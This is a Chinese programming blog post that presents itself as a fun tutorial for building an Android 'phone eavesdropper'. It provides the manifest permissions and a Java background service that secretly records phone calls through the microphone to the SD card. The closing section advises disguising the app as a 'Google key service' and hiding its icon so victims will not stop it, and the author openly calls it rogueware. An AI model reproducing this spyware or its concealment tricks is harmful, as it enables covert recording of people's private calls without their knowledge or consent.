android 之電話竊聽器
來源:程序員人生 發布時間:2015-02-02 08:24:36 閱讀次數:3410次
其實實現1個簡單的電話的竊聽是1件非常容易的事情,在美國大片里面不是常常有黑客盜取他人的通話內容么,想一想就覺得小激動,今天呢,我也實現了1個小小的電話竊聽器,分享給大家,希望給大家樂樂。
實現電話竊聽器步驟:(只限于Android手機上)
1.獲得電話的服務
2.開啟1個電話的監聽
3.在監聽的進程中,開啟1個錄音
4.將錄音發送的到服務器端
5.在由服務器端發送給自己 ok,弄定
示例源碼:
1.權限問題,電話服務,錄音等
<uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- 麥克風權限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <!-- 讀寫sd卡權限 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- 讀取電話 -->
<!-- 自定義電話服務 -->
<service android:name="com.zengtao.service.MyPhoneStausService" >
</service>
2.電話服務
package com.zengtao.service;
import java.io.IOException;
import android.annotation.SuppressLint;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.widget.Toast;
/**
* my tephone service
*
* @author Administrator zengtao
*
*/
public class MyPhoneStausService extends Service {
@Override
public IBinder onBind(Intent intent) {
Toast.makeText(getBaseContext(), "start service", Toast.LENGTH_SHORT)
.show();
return null;
}
@Override
public void onCreate() {
super.onCreate();
// get telephone service
TelephonyManager telephony = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
// set telephone listener status
telephony.listen(new MyPhoneStausListener(),
PhoneStateListener.LISTEN_CALL_STATE);
}
/**
* telephone status listener
*
* @author Administrator zengtao
*
*/
private class MyPhoneStausListener extends PhoneStateListener {
private MediaRecorder recorder;
/**
* the telephone status is changed
*/
@SuppressLint("SdCardPath")
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 空閑狀態,沒有響鈴,沒有通話
if (recorder != null) {
recorder.start();
recorder.reset();
recorder.release();
recorder = null;
}
break;
case TelephonyManager.CALL_STATE_RINGING: // 響鈴的時候
// 創建音頻
recorder = new MediaRecorder();
// 設置音頻來源---麥克風
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile("/sdcard/"
+ System.currentTimeMillis() + ".3gp");
recorder.prepare();
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 通話中
if (recorder != null) {
recorder.start();
}
break;
default:
break;
}
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
@Override
public void onDestroy() {
super.onDestroy();
Toast.makeText(getBaseContext(), "service stop", Toast.LENGTH_SHORT)
.show();
}
}
3.Mainactivity
package com.zengtao.demo;
import com.zengtao.service.MyPhoneStausService;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.ActionBarActivity;
public class MainActivity extends ActionBarActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent(this, MyPhoneStausService.class);
startService(intent);
}
}
4.總結
以上便完成了1個簡單的電話竊聽器,固然你可以改變1些東西,比如:這個demo的名字改成:Goole的關鍵服務,activity的視圖不讓它在手機桌面顯示出來,這些弄好了,不明白的人,誰敢把這個服務關閉掉,哪怕是熟習的程序編程者,1看這個也感覺不能關閉吧,是否是很賤,說句刺耳的,就是流氓軟件,哈哈,固然這個服務開啟以后,就算把activity關閉,在后臺也是1樣運行的,你不手動的去關閉它,它會1直運行,固然也能夠用代碼實現的方式關閉服務。
生活不易,碼農辛苦
如果您覺得本網站對您的學習有所幫助,可以手機掃描二維碼進行捐贈